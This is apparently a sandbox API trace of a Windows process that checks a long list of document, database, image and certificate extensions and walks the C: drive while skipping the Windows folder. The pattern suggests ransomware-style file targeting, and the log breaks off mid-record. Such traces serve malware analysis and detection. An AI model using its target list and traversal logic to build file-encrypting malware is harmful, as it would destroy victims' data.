[0136.356] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".odb") returned 4 [0136.356] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".odc") returned 4 [0136.356] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".odm") returned 4 [0136.356] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".odp") returned 4 [0136.356] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".ods") returned 4 [0136.356] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".oft") returned 4 [0136.356] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".one") returned 4 [0136.357] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".onepkg") returned 7 [0136.357] lstrcmpiW (lpString1=".onepkg", lpString2="ing.dll") returned -1 [0136.357] lstrlenW (lpString=".onetoc2") returned 8 [0136.357] lstrcmpiW (lpString1=".onetoc2", lpString2="ring.dll") returned -1 [0136.357] lstrlenW (lpString=".opt") returned 4 [0136.357] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".oqy") returned 4 [0136.357] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".orf") returned 4 [0136.357] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".p12") returned 4 [0136.357] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".p7b") returned 4 [0136.357] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".p7c") returned 4 [0136.357] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pam") returned 4 [0136.357] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pbm") returned 4 [0136.357] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pct") returned 4 [0136.357] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pcx") returned 4 [0136.357] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pdd") returned 4 [0136.357] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pdf") returned 4 [0136.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pdp") returned 4 [0136.357] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0136.357] lstrlenW (lpString=".pef") returned 4 [0136.357] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pem") returned 4 [0136.358] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pff") returned 4 [0136.358] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pfm") returned 4 [0136.358] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pfx") returned 4 [0136.358] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pgm") returned 4 [0136.358] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".php") returned 4 [0136.358] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".php3") returned 5 [0136.358] lstrcmpiW (lpString1=".php3", lpString2="g.dll") returned -1 [0136.358] lstrlenW (lpString=".php4") returned 5 [0136.358] lstrcmpiW (lpString1=".php4", lpString2="g.dll") returned -1 [0136.358] lstrlenW (lpString=".php5") returned 5 [0136.358] lstrcmpiW (lpString1=".php5", lpString2="g.dll") returned -1 [0136.358] lstrlenW (lpString=".phtml") returned 6 [0136.358] lstrcmpiW (lpString1=".phtml", lpString2="ng.dll") returned -1 [0136.358] lstrlenW (lpString=".pict") returned 5 [0136.358] lstrcmpiW (lpString1=".pict", lpString2="g.dll") returned -1 [0136.358] lstrlenW (lpString=".pl") returned 3 [0136.358] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0136.358] lstrlenW (lpString=".pls") returned 4 [0136.358] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0136.358] lstrlenW (lpString=".pm") returned 3 [0136.358] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0136.358] lstrlenW (lpString=".png") returned 4 [0136.358] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".pnm") returned 4 [0136.359] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".pot") returned 4 [0136.359] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".potm") returned 5 [0136.359] lstrcmpiW (lpString1=".potm", lpString2="g.dll") returned -1 [0136.359] lstrlenW (lpString=".potx") returned 5 [0136.359] lstrcmpiW (lpString1=".potx", lpString2="g.dll") returned -1 [0136.359] lstrlenW (lpString=".ppa") returned 4 [0136.359] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".ppam") returned 5 [0136.359] lstrcmpiW (lpString1=".ppam", lpString2="g.dll") returned -1 [0136.359] lstrlenW (lpString=".ppm") returned 4 [0136.359] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".pps") returned 4 [0136.359] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0136.359] lstrlenW (lpString=".ppsm") returned 5 [0136.359] lstrcmpiW (lpString1=".ppsm", lpString2="g.dll") returned -1 [0136.359] lstrlenW (lpString=".ppt") returned 4 [0136.359] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".pptm") returned 5 [0136.360] lstrcmpiW (lpString1=".pptm", lpString2="g.dll") returned -1 [0136.360] lstrlenW (lpString=".pptx") returned 5 [0136.360] lstrcmpiW (lpString1=".pptx", lpString2="g.dll") returned -1 [0136.360] lstrlenW (lpString=".prn") returned 4 [0136.360] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".ps") returned 3 [0136.360] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0136.360] lstrlenW (lpString=".psb") returned 4 [0136.360] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".psd") returned 4 [0136.360] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".pst") returned 4 [0136.360] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".ptx") returned 4 [0136.360] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".pub") returned 4 [0136.360] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".pwm") returned 4 [0136.360] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".pxr") returned 4 [0136.360] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".py") returned 3 [0136.360] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0136.360] lstrlenW (lpString=".qt") returned 3 [0136.360] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0136.360] lstrlenW (lpString=".r3d") returned 4 [0136.360] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".raf") returned 4 [0136.360] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".rar") returned 4 [0136.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0136.360] lstrlenW (lpString=".raw") returned 4 [0136.360] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0150.866] lstrcmpiW (lpString1=".1cd", lpString2=".url") returned -1 [0150.866] lstrcmpiW (lpString1=".3ds", lpString2=".url") returned -1 [0150.866] lstrcmpiW (lpString1=".3fr", lpString2=".url") returned -1 [0150.866] lstrcmpiW (lpString1=".3g2", lpString2=".url") returned -1 [0150.866] lstrcmpiW (lpString1=".3gp", lpString2=".url") returned -1 [0150.866] lstrcmpiW (lpString1=".7z", lpString2="url") returned -1 [0150.866] lstrcmpiW (lpString1=".accda", lpString2="te.url") returned -1 [0150.867] lstrcmpiW (lpString1=".accdb", lpString2="te.url") returned -1 [0150.867] lstrcmpiW (lpString1=".accdc", lpString2="te.url") returned -1 [0150.867] lstrcmpiW (lpString1=".accde", lpString2="te.url") returned -1 [0150.868] lstrcmpiW (lpString1=".accdt", lpString2="te.url") returned -1 [0150.868] lstrcmpiW (lpString1=".accdw", lpString2="te.url") returned -1 [0150.868] lstrcmpiW (lpString1=".adb", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".adp", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai", lpString2="url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai3", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai4", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai5", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai6", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai7", lpString2=".url") returned -1 [0150.868] lstrcmpiW (lpString1=".ai8", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".anim", lpString2="e.url") returned -1 [0150.869] lstrcmpiW (lpString1=".arw", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".as", lpString2="url") returned -1 [0150.869] lstrcmpiW (lpString1=".asa", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".asc", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".ascx", lpString2="e.url") returned -1 [0150.869] lstrcmpiW (lpString1=".asm", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".asmx", lpString2="e.url") returned -1 [0150.869] lstrcmpiW (lpString1=".asp", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".aspx", lpString2="e.url") returned -1 [0150.869] lstrcmpiW (lpString1=".asr", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".asx", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".avi", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".avs", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".backup", lpString2="ite.url") returned -1 [0150.869] lstrcmpiW (lpString1=".bak", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".bay", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".bd", lpString2="url") returned -1 [0150.869] lstrcmpiW (lpString1=".bin", lpString2=".url") returned -1 [0150.869] lstrcmpiW (lpString1=".bmp", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".bz2", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".c", lpString2="rl") returned -1 [0150.870] lstrcmpiW (lpString1=".cdr", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cer", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cf", lpString2="url") returned -1 [0150.870] lstrcmpiW (lpString1=".cfc", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cfm", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cfml", lpString2="e.url") returned -1 [0150.870] lstrcmpiW (lpString1=".cfu", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".chm", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cin", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".class", lpString2="te.url") returned -1 [0150.870] lstrcmpiW (lpString1=".clx", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".config", lpString2="ite.url") returned -1 [0150.870] lstrcmpiW (lpString1=".cpp", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".cr2", lpString2=".url") returned -1 [0150.870] lstrcmpiW (lpString1=".crt", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".crw", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".cs", lpString2="url") returned -1 [0150.871] lstrcmpiW (lpString1=".css", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".csv", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".cub", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dae", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dat", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".db", lpString2="url") returned -1 [0150.871] lstrcmpiW (lpString1=".dbf", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dbx", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dc3", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dcm", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dcr", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".der", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dib", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dic", lpString2=".url") returned -1 [0150.871] lstrcmpiW (lpString1=".dif", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".divx", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".djvu", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".dng", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".doc", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".docm", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".docx", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".dot", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dotm", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".dotx", lpString2="e.url") returned -1 [0150.872] lstrcmpiW (lpString1=".dpx", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dqy", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dsn", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dt", lpString2="url") returned -1 [0150.872] lstrcmpiW (lpString1=".dtd", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dwg", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dwt", lpString2=".url") returned -1 [0150.872] lstrcmpiW (lpString1=".dx", lpString2="url") returned -1 [0150.873] lstrcmpiW (lpString1=".dxf", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".edml", lpString2="e.url") returned -1 [0150.873] lstrcmpiW (lpString1=".efd", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".elf", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".emf", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".emz", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".epf", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".eps", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".epsf", lpString2="e.url") returned -1 [0150.873] lstrcmpiW (lpString1=".epsp", lpString2="e.url") returned -1 [0150.873] lstrcmpiW (lpString1=".erf", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".exr", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".f4v", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".fido", lpString2="e.url") returned -1 [0150.873] lstrcmpiW (lpString1=".flm", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".flv", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".frm", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".fxg", lpString2=".url") returned -1 [0150.873] lstrcmpiW (lpString1=".geo", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".gif", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".grs", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".gz", lpString2="url") returned -1 [0150.874] lstrcmpiW (lpString1=".h", lpString2="rl") returned -1 [0150.874] lstrcmpiW (lpString1=".hdr", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".hpp", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".hta", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".htc", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".htm", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".html", lpString2="e.url") returned -1 [0150.874] lstrcmpiW (lpString1=".icb", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".ics", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".iff", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".inc", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".indd", lpString2="e.url") returned -1 [0150.874] lstrcmpiW (lpString1=".ini", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".iqy", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".j2c", lpString2=".url") returned -1 [0150.874] lstrcmpiW (lpString1=".j2k", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".java", lpString2="e.url") returned -1 [0150.875] lstrcmpiW (lpString1=".jp2", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpc", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpe", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpeg", lpString2="e.url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpf", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpg", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".jpx", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".js", lpString2="url") returned -1 [0150.875] lstrcmpiW (lpString1=".jsf", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".json", lpString2="e.url") returned -1 [0150.875] lstrcmpiW (lpString1=".jsp", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".kdc", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".kmz", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".kwm", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".lasso", lpString2="te.url") returned -1 [0150.875] lstrcmpiW (lpString1=".lbi", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".lgf", lpString2=".url") returned -1 [0150.875] lstrcmpiW (lpString1=".lgp", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".log", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".m1v", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".m4a", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".m4v", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".max", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".md", lpString2="url") returned -1 [0150.876] lstrcmpiW (lpString1=".mda", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mdb", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mde", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mdf", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mdw", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mef", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mft", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mfw", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mht", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mhtml", lpString2="te.url") returned -1 [0150.876] lstrcmpiW (lpString1=".mka", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mkidx", lpString2="te.url") returned -1 [0150.876] lstrcmpiW (lpString1=".mkv", lpString2=".url") returned -1 [0150.876] lstrcmpiW (lpString1=".mos", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mov", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mp3", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mp4", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mpeg", lpString2="e.url") returned -1 [0150.877] lstrcmpiW (lpString1=".mpg", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mpv", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mrw", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".msg", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".mxl", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".myd", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".myi", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".nef", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".nrw", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".obj", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".odb", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".odc", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".odm", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".odp", lpString2=".url") returned -1 [0150.877] lstrcmpiW (lpString1=".ods", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".oft", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".one", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".onepkg", lpString2="ite.url") returned -1 [0150.878] lstrcmpiW (lpString1=".onetoc2", lpString2="site.url") returned -1 [0150.878] lstrcmpiW (lpString1=".opt", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".oqy", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".orf", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".p12", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".p7b", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".p7c", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".pam", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".pbm", lpString2=".url") returned -1 [0150.878] lstrcmpiW (lpString1=".pct", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pcx", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pdd", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pdf", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pdp", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pef", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pem", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pff", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pfm", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pfx", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pgm", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".php", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".php3", lpString2="e.url") returned -1 [0150.879] lstrcmpiW (lpString1=".php4", lpString2="e.url") returned -1 [0150.879] lstrcmpiW (lpString1=".php5", lpString2="e.url") returned -1 [0150.879] lstrcmpiW (lpString1=".phtml", lpString2="te.url") returned -1 [0150.879] lstrcmpiW (lpString1=".pict", lpString2="e.url") returned -1 [0150.879] lstrcmpiW (lpString1=".pl", lpString2="url") returned -1 [0150.879] lstrcmpiW (lpString1=".pls", lpString2=".url") returned -1 [0150.879] lstrcmpiW (lpString1=".pm", lpString2="url") returned -1 [0150.880] lstrcmpiW (lpString1=".png", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".pnm", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".pot", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".potm", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".potx", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".ppa", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".ppam", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".ppm", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".pps", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".ppsm", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".ppt", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".pptm", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".pptx", lpString2="e.url") returned -1 [0150.880] lstrcmpiW (lpString1=".prn", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".ps", lpString2="url") returned -1 [0150.880] lstrcmpiW (lpString1=".psb", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".psd", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".pst", lpString2=".url") returned -1 [0150.880] lstrcmpiW (lpString1=".ptx", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".pub", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".pwm", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".pxr", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".py", lpString2="url") returned -1 [0150.881] lstrcmpiW (lpString1=".qt", lpString2="url") returned -1 [0150.881] lstrcmpiW (lpString1=".r3d", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".raf", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".rar", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".raw", lpString2=".url") returned -1 [0150.881] lstrcmpiW (lpString1=".rdf", lpString2=".url") returned -1 Thread: id = 62 os_tid = 0x680 [0126.788] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3a96340 [0126.789] lstrlenW (lpString="C:") returned 2 [0126.789] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x378fd00 | out: lpFindFileData=0x378fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8ef7a8 [0126.789] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0126.789] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0126.789] lstrlenW (lpString="$Recycle.Bin") returned 12 [0126.789] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4200048 [0126.790] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0126.790] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x378fa84 | out: lpFindFileData=0x378fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975ef0 [0126.790] FindNextFileW (in: hFindFile=0x975ef0, lpFindFileData=0x378fa84 | out: lpFindFileData=0x378fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.790] FindNextFileW (in: hFindFile=0x975ef0, lpFindFileData=0x378fa84 | out: 